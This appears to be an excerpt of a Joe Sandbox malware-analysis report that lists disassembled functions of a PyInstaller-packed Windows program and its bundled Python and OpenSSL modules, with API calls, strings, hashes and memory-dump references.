_MEI%d, xrefs: 00007FF72C658712
TMP, xrefs: 00007FF72C65869C, 00007FF72C6587A3
TMP, xrefs: 00007FF72C6586C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF72C65877E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF72C6586DC

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: ccd400955c279738c84ebd1a9837a2eb1e4600d8e859cc44b92fd759b3684798
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 35419011A1964244EA13FB619C552B9A253FFA97E0FE00535EE0D47ADADE3CE805CF60

Function 00007FF72C65EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF72C65EA65

Part of subcall function 00007FF72C65F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF72C65F9FF
Part of subcall function 00007FF72C65F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF72C65FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF72C65EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF72C65ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF72C65EE98

Strings

csm, xrefs: 00007FF72C65EA7F
csm, xrefs: 00007FF72C65EB60
csm, xrefs: 00007FF72C65EAE6

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: cf1b7d9260b1dd337f322538d9dc9c3f42fb4c4a0a2055fb6799c411062e17d4
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 05D18232A0878186EB21AB65D9803ADB7A2FB657E8F600135DF4D57795DF3CE081CB11

Function 00007FF72C66ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF72C66F0AA,?,?,00000237A2949838,00007FF72C66AD53,?,?,?,00007FF72C66AC4A,?,?,?,00007FF72C665F3E), ref: 00007FF72C66EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF72C66F0AA,?,?,00000237A2949838,00007FF72C66AD53,?,?,?,00007FF72C66AC4A,?,?,?,00007FF72C665F3E), ref: 00007FF72C66EE98

Strings

ext-ms-, xrefs: 00007FF72C66EDE9
api-ms-, xrefs: 00007FF72C66EDD6

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 4bc6771c35aad53dbe7e34b14185a0abb63c90f1c0af2297e5558ee2b09d60af
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 8841E62171964282EA17AB569C04575B2A2FF65BB0FE84539DD1D47784EE3CE40A8A20

Function 00007FFBAA496234 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32 ref: 00007FFBAA49632C
WSAIoctl.WS2_32 ref: 00007FFBAA49639D
WSAIoctl.WS2_32 ref: 00007FFBAA49640C

Strings

invalid ioctl command %lu, xrefs: 00007FFBAA4962AE
kI:ioctl, xrefs: 00007FFBAA4962EC, 00007FFBAA4963C8
kO:ioctl, xrefs: 00007FFBAA49626F
k(kkk):ioctl, xrefs: 00007FFBAA496359

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: Ioctl
String ID: invalid ioctl command %lu$k(kkk):ioctl$kI:ioctl$kO:ioctl
API String ID: 3041054344-4238462244
Opcode ID: 441793013725e27a22c0b2ab8fe50c6f096d6b0bae4d3890f8c4f5f827f12015
Instruction ID: 0c08d6b7f83ad4bf11768eb1f32ffa51f4d8eb1fd6171cdfc8422d81b62dc114
Opcode Fuzzy Hash: 441793013725e27a22c0b2ab8fe50c6f096d6b0bae4d3890f8c4f5f827f12015
Instruction Fuzzy Hash: AB516AB1A19A41C9F761CB70E8C05ADB3B8FB48744F540232EE5E93A68DF38D565C760

Function 00007FF72C652C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
MessageBoxW.USER32 ref: 00007FF72C652D99

Strings

Error, xrefs: 00007FF72C652D8C
[PYI-%d:ERROR] , xrefs: 00007FF72C652CA6
<FormatMessageW failed.>, xrefs: 00007FF72C652D70
%ls: , xrefs: 00007FF72C652D22

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: e5da6b28d70f97c550be33878bb7928a7a18930d417b19fe976bc6fb89343c7f
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 0731F622708A4142E721BB25AC142ABA792FF987E8F900136EF4D93759DF3CD50ACB10

Function 00007FFBA6091497 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 306COMMON

Download Yara Rule

Strings

, xrefs: 00007FFBA60E92A3
tls_construct_stoc_cookie, xrefs: 00007FFBA60E8F8F, 00007FFBA60E91BE, 00007FFBA60E934C, 00007FFBA60E93C8, 00007FFBA60E943D
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFBA60E8F9B, 00007FFBA60E91CA, 00007FFBA60E9353, 00007FFBA60E93D4, 00007FFBA60E9444
HMAC, xrefs: 00007FFBA60E928B
SHA2-256, xrefs: 00007FFBA60E92D7

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID:
String ID: $..\s\ssl\statem\extensions_srvr.c$HMAC$SHA2-256$tls_construct_stoc_cookie
API String ID: 0-1087561517
Opcode ID: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction ID: adb29aa9f74fc66a348b63e214c0a22328f0b0751bccc266b95f0a62fbc5e6db
Opcode Fuzzy Hash: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction Fuzzy Hash: 29D159E1F0A65351FB62AA72D5817BD12A3AF45F88F845032DD1E47BC6DE3CE5A28310

Function 00007FFBA60926E4 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

SERVERINFO FOR , xrefs: 00007FFBA60BA5E6
SSL_CTX_use_serverinfo_file, xrefs: 00007FFBA60BA521, 00007FFBA60BA562, 00007FFBA60BA626, 00007FFBA60BA79C, 00007FFBA60BA7D2, 00007FFBA60BA7FB, 00007FFBA60BA826, 00007FFBA60BA84A
SERVERINFOV2 FOR , xrefs: 00007FFBA60BA650
..\s\ssl\ssl_rsa.c, xrefs: 00007FFBA60BA52D, 00007FFBA60BA56E, 00007FFBA60BA62D, 00007FFBA60BA69B, 00007FFBA60BA6F6, 00007FFBA60BA70F, 00007FFBA60BA729, 00007FFBA60BA7A8, 00007FFBA60BA7DE, 00007FFBA60BA802, 00007FFBA60BA832, 00007FFBA60BA856, 00007FFBA60BA878, 00007FFBA60BA88E, 00007FFBA60BA8A4, 00007FFBA60BA8BA

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_rsa.c$SERVERINFO FOR $SERVERINFOV2 FOR $SSL_CTX_use_serverinfo_file
API String ID: 0-2528746747
Opcode ID: 3f42cd0ca9d563b7a34cad851de025c8784a984462c6c2d3db3bf0c7bae4a17b
Instruction ID: 133cd36bad89993c3b43be1cc4e53b1b9b27c529adea11a0d68ae6350e525ca0
Opcode Fuzzy Hash: 3f42cd0ca9d563b7a34cad851de025c8784a984462c6c2d3db3bf0c7bae4a17b
Instruction Fuzzy Hash: 62B15CE1E0A68295FB23EB71D8812BD2B63FB44B84F509432DD0D4BB99DE3CE6458350

Function 00007FFBAA4C0718 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

00007FFBAA5AD8D8.PYTHON313 ref: 00007FFBAA4C08BD

Strings

|OOO&O&O&O&O&O&O&O&, xrefs: 00007FFBAA4C0830
Invalid filter specifier for LZMA filter, xrefs: 00007FFBAA4C08AA
Invalid compression preset: %u, xrefs: 00007FFBAA4C56A9
preset, xrefs: 00007FFBAA4C0733

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: 00007
String ID: Invalid compression preset: %u$Invalid filter specifier for LZMA filter$preset$|OOO&O&O&O&O&O&O&O&
API String ID: 3568877910-1461672608
Opcode ID: 6d4f4a8982cc2adfbe601f8644f4891ef6d6d32ef4def972bcb1a41917f04399
Instruction ID: 5a68c9c2f49b5386d32b25f99d1c42c054b1ee682f069bc2d4f7c5c8601e49e2
Opcode Fuzzy Hash: 6d4f4a8982cc2adfbe601f8644f4891ef6d6d32ef4def972bcb1a41917f04399
Instruction Fuzzy Hash: CD511CB1A0AB42D6E7618F21E4402A977B8FF84B84F544176EE8D03B64DF3CD55AC760

Function 00007FF72C65DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD4D
GetLastError.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD85
FreeLibrary.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DDFF

Strings

api-ms-, xrefs: 00007FF72C65DD6D

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 6ae0cf5baa093417a20021ca0618aaefd6792ed2195cb2806e943f1291da9b45
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: BE317221B1A64291EE13BB069D006A5A3D5FF68BF4FE94635DE1D463C0EE3CE4448B24

Function 00007FF72C652A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF72C65351A,?,00000000,00007FF72C653F23), ref: 00007FF72C652AA0

Strings

Warning, xrefs: 00007FF72C652B1E
Warning [ANSI Fallback], xrefs: 00007FF72C652B0F
0, xrefs: 00007FF72C652B16
[PYI-%d:%s] , xrefs: 00007FF72C652AA8
WARNING, xrefs: 00007FF72C652AAF

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: d4c003c454b633111998e97adf63469324c152fbf723e2234dec0d1069d84301
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 7921A132A18B8292E722AB50BC417E6B3A5FB983D4F900136EE8D43659DF3CD149CA50

Function 00007FF72C658570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF72C658590
OpenProcessToken.ADVAPI32 ref: 00007FF72C6585A3
GetTokenInformation.ADVAPI32 ref: 00007FF72C6585C8
GetLastError.KERNEL32 ref: 00007FF72C6585D2
GetTokenInformation.ADVAPI32 ref: 00007FF72C658612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF72C65862E
CloseHandle.KERNEL32 ref: 00007FF72C658646

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 4e9efa4256274eaa79a19353c0f60a9e941a94e07aa51b5e515e7b0f6c095f0c
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: F7212521A0C64241EB51AB55B94423AE3A2FFD57F4FA00235E66D43AD4DE7CD4458F10

Function 00007FF72C66B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF72C66B15F
FlsGetValue.KERNEL32 ref: 00007FF72C66B174
FlsSetValue.KERNEL32 ref: 00007FF72C66B195
FlsSetValue.KERNEL32 ref: 00007FF72C66B1C2
FlsSetValue.KERNEL32 ref: 00007FF72C66B1D3
FlsSetValue.KERNEL32 ref: 00007FF72C66B1E4
SetLastError.KERNEL32 ref: 00007FF72C66B1FF

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 955e69dbdd4f648e313349aefb080b734bae4ce698d47d394c7c697acdce6f2d
Instruction ID: 22c0e5db78f66657727efbb6fbc4989aea53d76814ed5388e91f011f0e5ee254
Opcode Fuzzy Hash: 955e69dbdd4f648e313349aefb080b734bae4ce698d47d394c7c697acdce6f2d
Instruction Fuzzy Hash: AC219024B0C24381F95A73619E51239F163FFA47B0FA04738E87E066C6DE2DA4405F21

Function 00007FFBAA497FC8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FFBAA498042
getservbyport.WS2_32 ref: 00007FFBAA498050

Strings

port/proto not found, xrefs: 00007FFBAA498073
socket.getservbyport, xrefs: 00007FFBAA498015
getservbyport: port must be 0-65535., xrefs: 00007FFBAA4980A1
i|s:getservbyport, xrefs: 00007FFBAA497FD8

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: getservbyporthtons
String ID: getservbyport: port must be 0-65535.$i|s:getservbyport$port/proto not found$socket.getservbyport
API String ID: 3477891686-2618607128
Opcode ID: 4471399b94432fca938d6bd7da45e6e9e5440958a35927fdab7468f72b463937
Instruction ID: 014e982c961c795e16b712647bae1d47882afeb9221e759f90f647a8d1a0a021
Opcode Fuzzy Hash: 4471399b94432fca938d6bd7da45e6e9e5440958a35927fdab7468f72b463937
Instruction Fuzzy Hash: AA21F1A1A0AA03C1EA128B35E4C467D7379FB85B85F540071EE4E47679DF3ED06AC720

Function 00007FF72C677D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF72C677D9D
GetLastError.KERNEL32 ref: 00007FF72C677DA9
CloseHandle.KERNEL32 ref: 00007FF72C677DC1
CreateFileW.KERNEL32 ref: 00007FF72C677DEC
WriteConsoleW.KERNEL32 ref: 00007FF72C677E0B

Strings

CONOUT$, xrefs: 00007FF72C677DCD

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: c1cab2659841ab4b17ec5aefbb1dc03c87c7df249e3fecf0500bc6ca7902e583
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 6D119631B18A4286E751AB52FC55339A3A1FBA8BF4F400734DA5D877A4DF3CD4588B50

Function 00007FF72C658ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658F5A

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C659044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C659055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C65906A

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

